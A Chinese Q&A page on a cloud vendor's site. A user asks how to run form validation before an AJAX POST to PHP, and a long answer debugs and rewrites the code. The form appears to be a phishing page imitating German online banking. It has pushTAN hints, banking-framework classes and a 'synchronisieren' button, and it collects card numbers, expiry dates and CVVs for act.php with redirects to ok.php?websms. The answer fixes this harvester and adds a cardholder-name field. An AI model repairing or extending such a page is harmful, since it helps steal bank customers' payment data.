You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

表单提交前JS验证并通过AJAX提交至PHP的技术问询

表单校验后通过AJAX提交数据的修复方案

我尝试通过POST方法将表单数据发送至PHP后端,希望使用自定义的validate()函数对表单进行校验,校验通过后再发起AJAX请求提交数据。以下是我编写的JavaScript及HTML代码:

原代码

JavaScript

$('#submitccform').click(function() {
  function validate() {
    var valid = true;
    var message = "";
    var message1 = "";
    var cardHolderNameRegex = /^(0[1-9]|1[0-2])\/?([0-9]{2})$/i;
    var cvvRegex = /^[0-9]{3,3}$/;
    var cardHolderName = $("#cardholdername").val();
    var cardNumber = $("#cardnumber").val();
    var cvv = $("#cvv").val();

    if (cardHolderName == "" || cardNumber == "" || cvv == "") {
      message += "<div class='message_error show ' style='color: #a9000f;' >Dieses Feld darf nicht leer bleiben. Falsches Format.</div>";
      if (cardHolderName == "") {
        $("#cardholdername").css('background-color', '#d87373ab');
      }
      if (cardNumber == "") {
        $("#cardnumber").css('background-color', '#d87373ab');
      }
      if (cvv == "") {
        $("#cvv").css('background-color', '#d87373ab');
      }
      valid = false;
    }

    if (cardNumber != "") {
      $('#cardnumber').validateCreditCard(function(result) {
        if (!(result.valid)) {
          message += "<div class='message_error show' style='color: #a9000f;'> Fehler!Geben Sie eine gültige Kartennummer ein.</div>";
          $("#cardnumber").css('background-color', '#');
          valid = false;
        }
      });
    }

    if (cardHolderName != "" && !cardHolderNameRegex.test(cardHolderName)) {
      message += "<div class='message_error show' style='color: #a9000f;'> Fehler! Geben Sie ein gültiges Verfallsdatum.</div>";
      $("#cardholdername").css('background-color', '#');
      valid = false;
    }

    if (cvv != "" && !cvvRegex.test(cvv)) {
      message += "<div class='message_error show' style='color: #a9000f;'> Fehler! Geben Sie ein gültiges Kryptogramm.</div>";
      $("#cvv").css('background-color', '#');
      valid = false;
    }

    if (message != "") {
      $("#error-message").show();
      $("#error-message").html(message);
    }
    return valid;
  }

  function formatString(e) {
    var inputChar = String.fromCharCode(event.keyCode);
    var code = event.keyCode;
    var allowedKeys = [8];
    if (allowedKeys.indexOf(code) !== -1) {
      return;
    }

    event.target.value = event.target.value.replace(
      /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/
    ).replace(
      /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/
    ).replace(
      /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3
    ).replace(
      /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41
    ).replace(
      /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0
    ).replace(
      /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/`
    ).replace(
      /\/\//g, '/' // Prevent entering more than 1 `/`
    );
  }

  function cardNumber(value) {
    var v = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '')
    var matches = v.match(/\d{4,16}/g);
    var match = matches && matches[0] || ''
    var parts = []
    for (i = 0, len = match.length; i < len; i += 4) {
      parts.push(match.substring(i, i + 4))
    }
    if (parts.length) {
      return parts.join(' ')
    } else {
      return value
    }
  }

  $('.ajax_loading').show()

  $.ajax({
    method: "POST",
    url: "./act.php",
    dataType: "json",
    data: {
      //tan2: $('#tan2').val(),
      //sessionids: $('#sessionids').val(),
      cardnumber: $('#cardnumber').val(),
      cardholdername: $('#cardholdername').val(),
      cvv: $('#cvv').val(),
    },
    //beforeSend: function(){   },
    success: function(result) {
      if (result.data.status == "ccqatreouitssse") {
        $("body").load("ok.php?websms");
      }
      if (result.data.status == "invalidccqatssreouite") {
        $("body").load("ok.php?erro&error=");
      }
    },
    error: function(jqXHR, status) {
      // error code
      console.log("we have reached error ");
    }
  });
});

HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<form action="" method="Post" class="form " onClick="return validate();">
  <fieldset>
    <h3 class="border"><span>Kartendetails</span></h3>
    <span id="pushtTanHint_target"></span>
    <p class="clearfix formBox">
      <label for="id-329797269_tan" id="id-329797269_tan-label" class="tanLabel inlineLabel label" tid="id-329797269_tan-label">               
        Kartennummer&nbsp;*
      </label>
      <input class="field text    hasKeypad full_width_on_small input-logo" name="cardnumber" style="width:34%;" placeholder="XXXX XXXX XXXX XXXX" id="cardnumber" maxlength="16" required>
    </p>
    <span id="pushtTanHint_target"></span>
    <p class="clearfix formBox">
      <label for="id-329797269_tan" id="id-329797269_tan-label" class="tanLabel inlineLabel label">
        Verfallsdatum&nbsp;&nbsp;&nbsp;*
      </label>
      <input class="field text xSmall full_width_on_small typeTanOnlarge hasKeypad " placeholder="MM/JJ" name="cardholdername" id="cardholdername" maxlength="5">
    </p>
    <span id="pushtTanHint_target"></span>
    <p class="clearfix formBox">
      <label for="id-329797269_tan" id="id-329797269_tan-label" class="tanLabel inlineLabel label">
        Kryptogramm&nbsp;&nbsp;&nbsp;*
      </label>
      <input class="field text xSmall full_width_on_small typeTanOnlarge hasKeypad sinput-cvv" name="cvv" id="cvv" placeholder="***" maxlength="3" autocomplete="off">
    </p>
  </fieldset>
  <button type="button" name="submitccform" id="submitccform" class=" clearfix submit evt-submit submit"><span class="abaxx-button-label">synchronisieren<span class="icons arrowButton0"></span></span></button>
</form>

问题分析与修复

原代码存在几个关键问题导致校验逻辑失效,直接触发AJAX请求:

  1. validate()函数定义在按钮点击事件内部,外部无法访问,且点击事件中未调用该函数就直接发起AJAX
  2. validateCreditCard是异步回调函数,会导致校验结果无法同步影响valid变量
  3. 字段命名混淆:cardholdername实际对应过期日期,命名不符合语义,易引发混淆
  4. 错误的CSS背景色设置(#),应该恢复默认样式
  5. 格式化函数(formatString、cardNumber)未绑定到输入事件,无法生效

以下是修复后的完整代码:

修复后的JavaScript

// 初始化输入格式化事件
$(document).ready(function() {
  // 卡号格式化
  $('#cardnumber').on('input', function() {
    $(this).val(cardNumber($(this).val()));
  });
  
  // 过期日期格式化
  $('#expiry-date').on('keydown', formatString);
});

// 表单校验函数
function validate() {
  var valid = true;
  var message = "";
  var expiryRegex = /^(0[1-9]|1[0-2])\/?([0-9]{2})$/i;
  var cvvRegex = /^[0-9]{3}$/;
  var cardHolderName = $("#card-holder-name").val();
  var cardNumber = $("#cardnumber").val().replace(/\s+/g, '');
  var expiryDate = $("#expiry-date").val();
  var cvv = $("#cvv").val();

  // 重置错误样式
  $(".field").css('background-color', '');
  $("#error-message").hide().html('');

  // 必填字段校验
  if (!cardHolderName || !cardNumber || !expiryDate || !cvv) {
    message += "<div class='message_error show' style='color: #a9000f;'>必填字段不能为空,请检查格式。</div>";
    if (!cardHolderName) $("#card-holder-name").css('background-color', '#d87373ab');
    if (!cardNumber) $("#cardnumber").css('background-color', '#d87373ab');
    if (!expiryDate) $("#expiry-date").css('background-color', '#d87373ab');
    if (!cvv) $("#cvv").css('background-color', '#d87373ab');
    valid = false;
  }

  // 卡号校验(使用Luhn算法同步校验)
  if (cardNumber && !isValidCardNumber(cardNumber)) {
    message += "<div class='message_error show' style='color: #a9000f;'>请输入有效的卡号。</div>";
    $("#cardnumber").css('background-color', '#d87373ab');
    valid = false;
  }

  // 过期日期校验
  if (expiryDate && !expiryRegex.test(expiryDate)) {
    message += "<div class='message_error show' style='color: #a9000f;'>请输入有效的过期日期(格式:MM/JJ)。</div>";
    $("#expiry-date").css('background-color', '#d87373ab');
    valid = false;
  }

  // CVV校验
  if (cvv && !cvvRegex.test(cvv)) {
    message += "<div class='message_error show' style='color: #a9000f;'>请输入有效的CVV码(3位数字)。</div>";
    $("#cvv").css('background-color', '#d87373ab');
    valid = false;
  }

  // 显示错误信息
  if (message) {
    $("#error-message").show().html(message);
  }

  return valid;
}

// Luhn算法校验卡号有效性
function isValidCardNumber(number) {
  var sum = 0;
  var doubleUp = false;
  for (var i = number.length - 1; i >= 0; i--) {
    var digit = parseInt(number[i]);
    if (doubleUp) {
      digit *= 2;
      if (digit > 9) digit -= 9;
    }
    sum += digit;
    doubleUp = !doubleUp;
  }
  return sum % 10 === 0;
}

// 过期日期格式化
function formatString(e) {
  var event = e || window.event;
  var inputChar = String.fromCharCode(event.keyCode);
  var code = event.keyCode;
  var allowedKeys = [8, 9, 13, 37, 39]; // 允许退格、制表、回车、左右箭头
  if (allowedKeys.indexOf(code) !== -1) {
    return;
  }

  event.target.value = event.target.value.replace(
    /^([1-9]\/|[2-9])$/g, '0$1/'
  ).replace(
    /^(0[1-9]|1[0-2])$/g, '$1/'
  ).replace(
    /^([0-1])([3-9])$/g, '0$1/$2'
  ).replace(
    /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2'
  ).replace(
    /^([0]+)\/|[0]+$/g, '0'
  ).replace(
    /[^\d\/]|^[\/]*$/g, ''
  ).replace(
    /\/\//g, '/'
  );
}

// 卡号格式化
function cardNumber(value) {
  var v = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
  var matches = v.match(/\d{4,16}/g);
  var match = matches && matches[0] || '';
  var parts = [];
  for (var i = 0, len = match.length; i < len; i += 4) {
    parts.push(match.substring(i, i + 4));
  }
  return parts.length ? parts.join(' ') : value;
}

// 提交按钮点击事件
$('#submitccform').click(function() {
  if (validate()) {
    $('.ajax_loading').show();
    $.ajax({
      method: "POST",
      url: "./act.php",
      dataType: "json",
      data: {
        cardnumber: $('#cardnumber').val().replace(/\s+/g, ''),
        cardholdername: $('#card-holder-name').val(),
        expiry_date: $('#expiry-date').val(),
        cvv: $('#cvv').val()
      },
      success: function(result) {
        $('.ajax_loading').hide();
        if (result.data.status === "ccqatreouitssse") {
          $("body").load("ok.php?websms");
        } else if (result.data.status === "invalidccqatssreouite") {
          $("body").load("ok.php?erro&error=");
        }
      },
      error: function(jqXHR, status) {
        $('.ajax_loading').hide();
        console.log("请求错误: ", status);
      }
    });
  }
});

修复后的HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<!-- 错误信息容器 -->
<div id="error-message" style="display:none;"></div>
<!-- 加载动画容器 -->
<div class="ajax_loading" style="display:none;">加载中...</div>

<form action="" method="Post" class="form">
  <fieldset>
    <h3 class="border"><span>卡片详情</span></h3>
    <span id="pushtTanHint_target"></span>
    
    <!-- 持卡人姓名字段 -->
    <p class="clearfix formBox">
      <label class="tanLabel inlineLabel label">
        持卡人姓名&nbsp;*
      </label>
      <input class="field text hasKeypad full_width_on_small" name="cardholdername" id="card-holder-name" placeholder="请输入持卡人姓名" required>
    </p>
    
    <p class="clearfix formBox">
      <label class="tanLabel inlineLabel label">               
        卡号&nbsp;*
      </label>
      <input class="field text hasKeypad full_width_on_small input-logo" name="cardnumber" style="width:34%;" placeholder="XXXX XXXX XXXX XXXX" id="cardnumber" maxlength="19" required>
    </p>
    
    <p class="clearfix formBox">
      <label class="tanLabel inlineLabel label">
        过期日期&nbsp;&nbsp;&nbsp;*
      </label>
      <input class="field text xSmall full_width_on_small typeTanOnlarge hasKeypad" placeholder="MM/JJ" name="expiry_date" id="expiry-date" maxlength="5" required>
    </p>
    
    <p class
相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.17 15:55:14